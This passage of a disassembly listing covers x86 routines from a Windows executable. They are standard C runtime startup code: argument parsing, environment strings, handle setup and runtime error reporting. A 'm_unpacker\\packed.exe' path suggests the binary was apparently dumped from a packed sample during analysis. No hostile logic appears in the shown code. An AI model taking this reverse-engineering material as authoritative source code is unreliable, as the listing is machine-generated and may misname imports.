		jz	short loc_41FA13
		cmp	al, 3Dh
		jz	short loc_41FA06
		inc	edi


loc_41FA06:				; CODE XREF: sub_41F9E1+22j
		push	esi
		call	sub_417D40
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41F9FB
; ---------------------------------------------------------------------------


loc_41FA13:				; CODE XREF: sub_41F9E1+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_418235
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DCD9C, esi
		jnz	short loc_41FA35
		push	9
		call	sub_41A609
		pop	ecx


loc_41FA35:				; CODE XREF: sub_41F9E1+4Aj
		mov	edi, dword_4DCDE8
		cmp	[edi], bl
		jz	short loc_41FA78
		push	ebp


loc_41FA40:				; CODE XREF: sub_41F9E1+94j
		push	edi
		call	sub_417D40
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41FA71
		push	ebp
		call	sub_418235
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41FA64
		push	9
		call	sub_41A609
		pop	ecx


loc_41FA64:				; CODE XREF: sub_41F9E1+79j
		push	edi
		push	dword ptr [esi]
		call	sub_418C10
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F9E1+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41FA40
		pop	ebp


loc_41FA78:				; CODE XREF: sub_41F9E1+5Cj
		push	dword_4DCDE8
		call	sub_417E11
		pop	ecx
		mov	dword_4DCDE8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DE410, 1
		pop	ebx
		retn
sub_41F9E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FA9A	proc near		; CODE XREF: sub_41A513+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DE414, ebx
		push	esi
		push	edi
		jnz	short loc_41FAB1
		call	sub_41CE4D


loc_41FAB1:				; CODE XREF: sub_41FA9A+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_424070	; GetModuleFileNameA
		mov	eax, dword_4DE40C
		mov	off_4DCDAC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41FAD6
		mov	edi, eax


loc_41FAD6:				; CODE XREF: sub_41FA9A+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41FB33
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_418235
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41FB06
		push	8
		call	sub_41A609
		pop	ecx


loc_41FB06:				; CODE XREF: sub_41FA9A+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41FB33
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_4DCD94, esi
		pop	edi
		pop	esi
		mov	dword_4DCD90, eax
		pop	ebx
		leave
		retn
sub_41FA9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB33	proc near		; CODE XREF: sub_41FA9A+47p
					; sub_41FA9A+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41FB5D
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41FB5D:				; CODE XREF: sub_41FB33+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41FBA6


loc_41FB62:				; CODE XREF: sub_41FB33+58j
					; sub_41FB33+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41FB94
		test	dl, dl
		jz	short loc_41FB94
		movzx	edx, dl
		test	byte_4DE2E1[edx], 4
		jz	short loc_41FB87
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41FB87
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41FB87:				; CODE XREF: sub_41FB33+46j
					; sub_41FB33+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41FB62
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41FB62
; ---------------------------------------------------------------------------


loc_41FB94:				; CODE XREF: sub_41FB33+36j
					; sub_41FB33+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41FB9E
		and	byte ptr [esi],	0
		inc	esi


loc_41FB9E:				; CODE XREF: sub_41FB33+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41FBE9
		inc	eax
		jmp	short loc_41FBE9
; ---------------------------------------------------------------------------


loc_41FBA6:				; CODE XREF: sub_41FB33+2Dj
					; sub_41FB33+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41FBB1
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41FBB1:				; CODE XREF: sub_41FB33+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DE2E1[ebx], 4
		jz	short loc_41FBCC
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41FBCB
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41FBCB:				; CODE XREF: sub_41FB33+91j
		inc	eax


loc_41FBCC:				; CODE XREF: sub_41FB33+8Bj
		cmp	dl, 20h
		jz	short loc_41FBDA
		test	dl, dl
		jz	short loc_41FBDE
		cmp	dl, 9
		jnz	short loc_41FBA6


loc_41FBDA:				; CODE XREF: sub_41FB33+9Cj
		test	dl, dl
		jnz	short loc_41FBE1


loc_41FBDE:				; CODE XREF: sub_41FB33+A0j
		dec	eax
		jmp	short loc_41FBE9
; ---------------------------------------------------------------------------


loc_41FBE1:				; CODE XREF: sub_41FB33+A9j
		test	esi, esi
		jz	short loc_41FBE9
		and	byte ptr [esi-1], 0


loc_41FBE9:				; CODE XREF: sub_41FB33+6Ej
					; sub_41FB33+71j ...
		and	[ebp+arg_10], 0


loc_41FBED:				; CODE XREF: sub_41FB33+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41FCD6


loc_41FBF6:				; CODE XREF: sub_41FB33+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41FC02
		cmp	dl, 9
		jnz	short loc_41FC05


loc_41FC02:				; CODE XREF: sub_41FB33+C8j
		inc	eax
		jmp	short loc_41FBF6
; ---------------------------------------------------------------------------


loc_41FC05:				; CODE XREF: sub_41FB33+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41FCD6
		test	edi, edi
		jz	short loc_41FC1A
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41FC1A:				; CODE XREF: sub_41FB33+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41FC1F:				; CODE XREF: sub_41FB33+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41FC28:				; CODE XREF: sub_41FB33+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41FC31
		inc	eax
		inc	ebx
		jmp	short loc_41FC28
; ---------------------------------------------------------------------------


loc_41FC31:				; CODE XREF: sub_41FB33+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41FC62
		test	bl, 1
		jnz	short loc_41FC60
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41FC4F
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41FC4F
		mov	eax, edx
		jmp	short loc_41FC52
; ---------------------------------------------------------------------------


loc_41FC4F:				; CODE XREF: sub_41FB33+10Dj
					; sub_41FB33+116j
		mov	[ebp+arg_0], edi


loc_41FC52:				; CODE XREF: sub_41FB33+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41FC60:				; CODE XREF: sub_41FB33+106j
		shr	ebx, 1


loc_41FC62:				; CODE XREF: sub_41FB33+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41FC77
		inc	ebx


loc_41FC6A:				; CODE XREF: sub_41FB33+142j
		test	esi, esi
		jz	short loc_41FC72
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41FC72:				; CODE XREF: sub_41FB33+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41FC6A


loc_41FC77:				; CODE XREF: sub_41FB33+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41FCC7
		cmp	[ebp+arg_10], 0
		jnz	short loc_41FC8D
		cmp	dl, 20h
		jz	short loc_41FCC7
		cmp	dl, 9
		jz	short loc_41FCC7


loc_41FC8D:				; CODE XREF: sub_41FB33+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41FCC1
		test	esi, esi
		jz	short loc_41FCB0
		movzx	ebx, dl
		test	byte_4DE2E1[ebx], 4
		jz	short loc_41FCA9
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41FCA9:				; CODE XREF: sub_41FB33+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41FCBF
; ---------------------------------------------------------------------------


loc_41FCB0:				; CODE XREF: sub_41FB33+162j
		movzx	edx, dl
		test	byte_4DE2E1[edx], 4
		jz	short loc_41FCBF
		inc	eax
		inc	dword ptr [ecx]


loc_41FCBF:				; CODE XREF: sub_41FB33+17Bj
					; sub_41FB33+187j
		inc	dword ptr [ecx]


loc_41FCC1:				; CODE XREF: sub_41FB33+15Ej
		inc	eax
		jmp	loc_41FC1F
; ---------------------------------------------------------------------------


loc_41FCC7:				; CODE XREF: sub_41FB33+148j
					; sub_41FB33+153j ...
		test	esi, esi
		jz	short loc_41FCCF
		and	byte ptr [esi],	0
		inc	esi


loc_41FCCF:				; CODE XREF: sub_41FB33+196j
		inc	dword ptr [ecx]
		jmp	loc_41FBED
; ---------------------------------------------------------------------------


loc_41FCD6:				; CODE XREF: sub_41FB33+BDj
					; sub_41FB33+D5j
		test	edi, edi
		jz	short loc_41FCDD
		and	dword ptr [edi], 0


loc_41FCDD:				; CODE XREF: sub_41FB33+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FB33	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCE7	proc near		; CODE XREF: sub_41A513+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_4DCF5C
		push	ebx
		push	ebp
		mov	ebp, dword_42403C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41FD35
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41FD16
		mov	dword_4DCF5C, 1
		jmp	short loc_41FD3E
; ---------------------------------------------------------------------------


loc_41FD16:				; CODE XREF: sub_41FCE7+21j
		call	dword_424040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41FE10
		mov	dword_4DCF5C, 2
		jmp	loc_41FDC4
; ---------------------------------------------------------------------------


loc_41FD35:				; CODE XREF: sub_41FCE7+19j
		cmp	eax, 1
		jnz	loc_41FDBF


loc_41FD3E:				; CODE XREF: sub_41FCE7+2Dj
		cmp	esi, ebx
		jnz	short loc_41FD4E
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41FE10


loc_41FD4E:				; CODE XREF: sub_41FCE7+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41FD63


loc_41FD55:				; CODE XREF: sub_41FCE7+73j
					; sub_41FCE7+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41FD55
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41FD55


loc_41FD63:				; CODE XREF: sub_41FCE7+6Cj
		sub	eax, esi
		mov	edi, dword_424164
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41FDB4
		push	ebp
		call	sub_418235
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41FDB4
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41FDB0
		push	[esp+18h+var_8]
		call	sub_417E11
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41FDB0:				; CODE XREF: sub_41FCE7+B9j
		mov	ebx, [esp+18h+var_8]


loc_41FDB4:				; CODE XREF: sub_41FCE7+99j
					; sub_41FCE7+A8j
		push	esi
		call	dword_424044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41FE12
; ---------------------------------------------------------------------------


loc_41FDBF:				; CODE XREF: sub_41FCE7+51j
		cmp	eax, 2
		jnz	short loc_41FE10


loc_41FDC4:				; CODE XREF: sub_41FCE7+49j
		cmp	edi, ebx
		jnz	short loc_41FDD4
		call	dword_424040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41FE10


loc_41FDD4:				; CODE XREF: sub_41FCE7+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41FDE4


loc_41FDDA:				; CODE XREF: sub_41FCE7+F6j
					; sub_41FCE7+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41FDDA
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41FDDA


loc_41FDE4:				; CODE XREF: sub_41FCE7+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_418235
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41FDFA
		xor	esi, esi
		jmp	short loc_41FE05
; ---------------------------------------------------------------------------


loc_41FDFA:				; CODE XREF: sub_41FCE7+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_419070
		add	esp, 0Ch


loc_41FE05:				; CODE XREF: sub_41FCE7+111j
		push	edi
		call	dword_424048	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_41FE12
; ---------------------------------------------------------------------------


loc_41FE10:				; CODE XREF: sub_41FCE7+39j
					; sub_41FCE7+61j ...
		xor	eax, eax


loc_41FE12:				; CODE XREF: sub_41FCE7+D6j
					; sub_41FCE7+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41FCE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE19	proc near		; CODE XREF: sub_41A513+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_418235
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41FE39
		push	1Bh
		call	sub_41A609
		pop	ecx


loc_41FE39:				; CODE XREF: sub_41FE19+16j
		mov	dword_4DD0A0, esi
		mov	dword_4DD1A0, 20h
		lea	eax, [esi+100h]


loc_41FE4F:				; CODE XREF: sub_41FE19+52j
		cmp	esi, eax
		jnb	short loc_41FE6D
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DD0A0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41FE4F
; ---------------------------------------------------------------------------


loc_41FE6D:				; CODE XREF: sub_41FE19+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_424194	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_41FF49
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_41FF49
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41FEA3
		mov	esi, eax


loc_41FEA3:				; CODE XREF: sub_41FE19+86j
		cmp	dword_4DD1A0, esi
		jge	short loc_41FEFD
		mov	edi, offset dword_4DD0A4


loc_41FEB0:				; CODE XREF: sub_41FE19+DAj
		push	100h
		call	sub_418235
		test	eax, eax
		pop	ecx
		jz	short loc_41FEF7
		add	dword_4DD1A0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41FECE:				; CODE XREF: sub_41FE19+CFj
		cmp	eax, ecx
		jnb	short loc_41FEEA
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41FECE
; ---------------------------------------------------------------------------


loc_41FEEA:				; CODE XREF: sub_41FE19+B7j
		add	edi, 4
		cmp	dword_4DD1A0, esi
		jl	short loc_41FEB0
		jmp	short loc_41FEFD
; ---------------------------------------------------------------------------


loc_41FEF7:				; CODE XREF: sub_41FE19+A4j
		mov	esi, dword_4DD1A0


loc_41FEFD:				; CODE XREF: sub_41FE19+90j
					; sub_41FE19+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41FF49


loc_41FF03:				; CODE XREF: sub_41FE19+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF40
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41FF40
		test	cl, 8
		jnz	short loc_41FF22
		push	eax
		call	dword_424030	; GetFileType
		test	eax, eax
		jz	short loc_41FF40


loc_41FF22:				; CODE XREF: sub_41FE19+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD0A0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41FF40:				; CODE XREF: sub_41FE19+EFj
					; sub_41FE19+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41FF03


loc_41FF49:				; CODE XREF: sub_41FE19+65j
					; sub_41FE19+71j ...
		xor	ebx, ebx


loc_41FF4B:				; CODE XREF: sub_41FE19+195j
		mov	eax, dword_4DD0A0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41FFA6
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41FF66
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41FF70
; ---------------------------------------------------------------------------


loc_41FF66:				; CODE XREF: sub_41FE19+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41FF70:				; CODE XREF: sub_41FE19+14Bj
		push	eax
		call	dword_424034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41FF95
		push	edi
		call	dword_424030	; GetFileType
		test	eax, eax
		jz	short loc_41FF95
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41FF9B


loc_41FF95:				; CODE XREF: sub_41FE19+163j
					; sub_41FE19+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41FFAA
; ---------------------------------------------------------------------------


loc_41FF9B:				; CODE XREF: sub_41FE19+17Aj
		cmp	eax, 3
		jnz	short loc_41FFAA
		or	byte ptr [esi+4], 8
		jmp	short loc_41FFAA
; ---------------------------------------------------------------------------


loc_41FFA6:				; CODE XREF: sub_41FE19+13Ej
		or	byte ptr [esi+4], 80h


loc_41FFAA:				; CODE XREF: sub_41FE19+180j
					; sub_41FE19+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41FF4B
		push	dword_4DD1A0
		call	dword_424038	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_41FE19	endp

; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FFCC	proc near		; DATA XREF: sub_41A513+Ao
					; sub_41EC3D+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_42006C
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41FFFF:				; CODE XREF: sub_41FFCC+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_420065
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_420053
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_420053
		js	short loc_42005E
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4198D4
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_419916
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_4199AA
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_420053:				; CODE XREF: sub_41FFCC+40j
					; sub_41FFCC+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41FFFF
; ---------------------------------------------------------------------------


loc_42005E:				; CODE XREF: sub_41FFCC+54j
		mov	eax, 0
		jmp	short loc_420081
; ---------------------------------------------------------------------------


loc_420065:				; CODE XREF: sub_41FFCC+36j
		mov	eax, 1
		jmp	short loc_420081
; ---------------------------------------------------------------------------


loc_42006C:				; CODE XREF: sub_41FFCC+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_419916
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_420081:				; CODE XREF: sub_41FFCC+97j
					; sub_41FFCC+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41FFCC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_419916
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4200A4	proc near		; CODE XREF: sub_41A609+9p
					; sub_41A62E+9p
		mov	eax, dword_4DCDF0
		cmp	eax, 1
		jz	short loc_4200BB
		test	eax, eax
		jnz	short locret_4200DC
		cmp	dword_43D254, 1
		jnz	short locret_4200DC


loc_4200BB:				; CODE XREF: sub_4200A4+8j
		push	0FCh
		call	sub_4200DD
		mov	eax, dword_4DCF60
		pop	ecx
		test	eax, eax
		jz	short loc_4200D1
		call	eax


loc_4200D1:				; CODE XREF: sub_4200A4+29j
		push	0FFh
		call	sub_4200DD
		pop	ecx

locret_4200DC:				; CODE XREF: sub_4200A4+Cj
					; sub_4200A4+15j
		retn
sub_4200A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200DD	proc near		; CODE XREF: sub_41A609+12p
					; sub_41A62E+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43FB68


loc_4200F0:				; CODE XREF: sub_4200DD+20j
		cmp	edx, [eax]
		jz	short loc_4200FF
		add	eax, 8
		inc	ecx
		cmp	eax, offset dword_43FBF8
		jl	short loc_4200F0


loc_4200FF:				; CODE XREF: sub_4200DD+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43FB68[esi]
		jnz	loc_42022D
		mov	eax, dword_4DCDF0
		cmp	eax, 1
		jz	loc_420207
		test	eax, eax
		jnz	short loc_420130
		cmp	dword_43D254, 1
		jz	loc_420207


loc_420130:				; CODE XREF: sub_4200DD+44j
		cmp	edx, 0FCh
		jz	loc_42022D
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_424070	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_420167
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_418C10
		pop	ecx
		pop	ecx


loc_420167:				; CODE XREF: sub_4200DD+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_417D40
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_4201AA
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_417D40
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_418350
		add	esp, 10h


loc_4201AA:				; CODE XREF: sub_4200DD+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_418C20
		lea	eax, [ebp+var_A0]
		push	offset asc_424C00 ; "\n\n"
		push	eax
		call	sub_418C20
		push	off_43FB6C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_418C20
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_421A91
		add	esp, 2Ch
		pop	edi
		jmp	short loc_42022D
; ---------------------------------------------------------------------------


loc_420207:				; CODE XREF: sub_4200DD+3Cj
					; sub_4200DD+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43FB6C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_417D40
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_424034	; GetStdHandle
		push	eax
		call	dword_4240E0	; WriteFile


loc_42022D:				; CODE XREF: sub_4200DD+2Ej
					; sub_4200DD+59j ...
		pop	esi
		leave
		retn
sub_4200DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_420230	proc near		; CODE XREF: sub_42063B:loc_4207B3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DD0A0


loc_42023F:				; CODE XREF: sub_420230+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_42027C
		lea	edx, [eax+100h]


loc_42024B:				; CODE XREF: sub_420230+28j
		cmp	eax, edx
		jnb	short loc_42026B
		test	byte ptr [eax+4], 1
		jz	short loc_42025A
		add	eax, 8
		jmp	short loc_42024B
; ---------------------------------------------------------------------------


loc_42025A:				; CODE XREF: sub_420230+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4202BF


loc_42026B:				; CODE XREF: sub_420230+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DD1A0
		jl	short loc_42023F
		jmp	short loc_4202BF
; ---------------------------------------------------------------------------


loc_42027C:				; CODE XREF: sub_420230+13j
		mov	esi, 100h
		push	esi
		call	sub_418235
		test	eax, eax
		pop	ecx
		jz	short loc_4202BF
		add	dword_4DD1A0, 20h
		lea	ecx, ds:4DD0A0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_4202A2:				; CODE XREF: sub_420230+88j
		cmp	eax, edx
		jnb	short loc_4202BA
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_4202A2
; ---------------------------------------------------------------------------


loc_4202BA:				; CODE XREF: sub_420230+74j
		shl	edi, 5
		mov	ebx, edi


loc_4202BF:				; CODE XREF: sub_420230+39j
					; sub_420230+4Aj ...
		pop	edi
